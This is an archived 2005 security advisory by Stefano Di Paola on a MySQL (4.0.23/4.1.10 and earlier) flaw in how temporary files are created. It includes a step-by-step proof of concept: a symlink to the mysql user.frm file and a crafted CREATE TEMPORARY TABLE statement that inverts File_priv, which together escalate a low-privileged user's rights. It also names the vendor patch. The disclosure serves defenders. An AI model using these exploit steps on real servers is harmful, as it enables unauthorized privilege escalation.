1. Mysql insecure temporary file creation with CREATE TEMPORARY TABLE privilege escalation Author: Stefano Di Paola Vulnerable: Mysql <= 4.0.23, 4.1.10 Type of Vulnerability: Local insecure temporary file creation Tested On : Mandrake 10.1 /Debian Sarge Vendor Status: Notified on March, 2nd 2005 -- Description: If an authenticated user has CREATE TEMPORARY TABLE privileges on any existent database, a symlink attack is possible. The problem resides in the fact that MySql: 1. uses a predictable name when creates temporary files: mysql_priv.h: 251: #define tmp_file_prefix "#sql" /* Prefix for tmp tables */ sql_table.cc: 724: if (create_info->options & HA_LEX_CREATE_TMP_TABLE) 725: { -> 726: sprintf(path,"%s%s%lx_%lx_%x%s",mysql_tmpdir,tmp_file_prefix, -> 727: current_pid, thd->thread_id, thd->tmp_table++,reg_ext); -> 728: create_info->table_options|=HA_CREATE_DELAY_KEY_WRITE; 729: } 730: else 731: (void) sprintf(path,"%s/%s/%s% s",mysql_data_home,db,alias,reg_ext); if is a temporary table, a temporary filename is generated by using, /temp_dir/#sqlPID_THREADID_NumberIncrementedByOne.frm /temp_dir/#sqlPID_THREADID_NumberIncrementedByOne.MYI /temp_dir/#sqlPID_THREADID_NumberIncrementedByOne.MYD 2. usually (could be changed) it creates such temporary files in a temporary directory with sticky bit on (/tmp or /var/tmp), accessible by all users. Poc: User table will be our target, but the only thing we can change is the declaration table user.frm as the other files .MYI and .MYD are in a different format (it seems). Let's authenticate and use a DB on which we have CREATE TEMPORARY table access. $ mysql -u user -p test mysql> CREATE TEMPORARY TABLE tmp_table (tmp_field VARCHAR(1)); Query OK, 0 rows affected (0.05 sec) mysql> system ls /tmp/#sql* -l -rw-rw---- 1 mysql mysql 8564 gen 30 13:31 #sql1d05_4_0.frm -rw-rw---- 1 mysql mysql 0 gen 30 13:31 #sql1d05_4_0.MYD -rw-rw---- 1 mysql mysql 1024 gen 30 13:31 #sql1d05_4_0.MYI mysql>system ln -s /var/lib/mysql/mysql/user.frm /tmp/#sql1d05_4_1.frm mysql>system ls /tmp/#sql* -l -rw-rw---- 1 mysql mysql 8564 gen 30 13:31 #sql1d05_4_0.frm -rw-rw---- 1 mysql mysql 0 gen 30 13:31 #sql1d05_4_0.MYD -rw-rw---- 1 mysql mysql 1024 gen 30 13:31 #sql1d05_4_0.MYI lrwxrwxrwx 1 stefano stefano 29 gen 30 13:38 #sql1d05_4_1.frm -> /var/lib/mysql/mysql/user.frm mysql> Now we have a symlink on user.frm. Now we will create a tmp table with File_Priv ENUM FIELD privilege inverted. This will allow us to have privileges where we hadn't before. mysql> CREATE TEMPORARY TABLE user ( -> Host char(60) binary DEFAULT '' NOT NULL, -> User char(16) binary DEFAULT '' NOT NULL, -> Password char(16) binary DEFAULT '' NOT NULL, -> Select_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Insert_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Update_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Delete_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Create_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Drop_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Reload_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Shutdown_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Process_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> File_priv enum('Y','N') DEFAULT 'N' NOT NULL, /*<-- look here*/ -> Grant_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> References_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Index_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Alter_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Show_db_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Super_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Create_tmp_table_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Lock_tables_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Execute_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Repl_slave_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> Repl_client_priv enum('N','Y') DEFAULT 'N' NOT NULL, -> ssl_type enum('','ANY','X509', 'SPECIFIED') DEFAULT '' NOT NULL, -> ssl_cipher BLOB NOT NULL, -> x509_issuer BLOB NOT NULL, -> x509_subject BLOB NOT NULL, -> max_questions int(11) unsigned DEFAULT 0 NOT NULL, -> max_updates int(11) unsigned DEFAULT 0 NOT NULL, -> max_connections int(11) unsigned DEFAULT 0 NOT NULL, -> PRIMARY KEY Host (Host,User) -> ) type = MYISAM -> comment='Users and global privileges'; Query OK, 0 rows affected (0.15 sec) mysql> system ls /tmp/#sql* -l -rw-rw---- 1 mysql mysql 8564 gen 30 13:31 /tmp/#sql1d05_4_0.frm -rw-rw---- 1 mysql mysql 0 gen 30 13:31 /tmp/#sql1d05_4_0.MYD -rw-rw---- 1 mysql mysql 1024 gen 30 13:31 /tmp/#sql1d05_4_0.MYI lrwxrwxrwx 1 stefano stefano 29 gen 30 13:38 /tmp/#sql1d05_4_1.frm -> /var/lib/mysql/mysql/user.frm -rw-rw---- 1 mysql mysql 0 gen 30 13:42 /tmp/#sql1d05_4_1.MYD -rw-rw---- 1 mysql mysql 1024 gen 30 13:42 /tmp/#sql1d05_4_1.MYI mysql> select * from tmp_table into outfile '/tmp/dd'; ERROR 1045: Access denied for user: 'user@localhost' (Using password: YES) mysql> quit Bye Now we should force or wait MySql to restart in order to give it the chance to re-read user table. #/etc/init.d/mysql restart $mysql -u user -p test Enter password: mysql> CREATE TEMPORARY TABLE tmp_table (tmp_field VARCHAR(1)); Query OK, 0 rows affected (0.00 sec) mysql> select * from tmp_table into outfile '/tmp/123'; Query OK, 0 rows affected (0.00 sec) mysql> system ls /tmp/123 -l -rw-rw-rw- 1 mysql mysql 0 gen 30 13:54 /tmp/123 mysql> quit Bye We got it. -- Solution: Mysql released a patch. New versions for MySQL 4.0.24 and 4.1.10a have been released. Download them to fix the issue. Thanks to MySQL Company people, they where very kind and professional. -- Disclaimer In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. -- ......---oOOo--------oOOo---...... Stefano Di Paola Software Engineer Email: stefano.dipaola_at_wisec.it Email: stefano.dipaola1_at_tin.it Web: www.wisec.it ..................................
This archive was generated by hypermail 2.1.3 : Thu Mar 10 2005 - 17:44:27 PST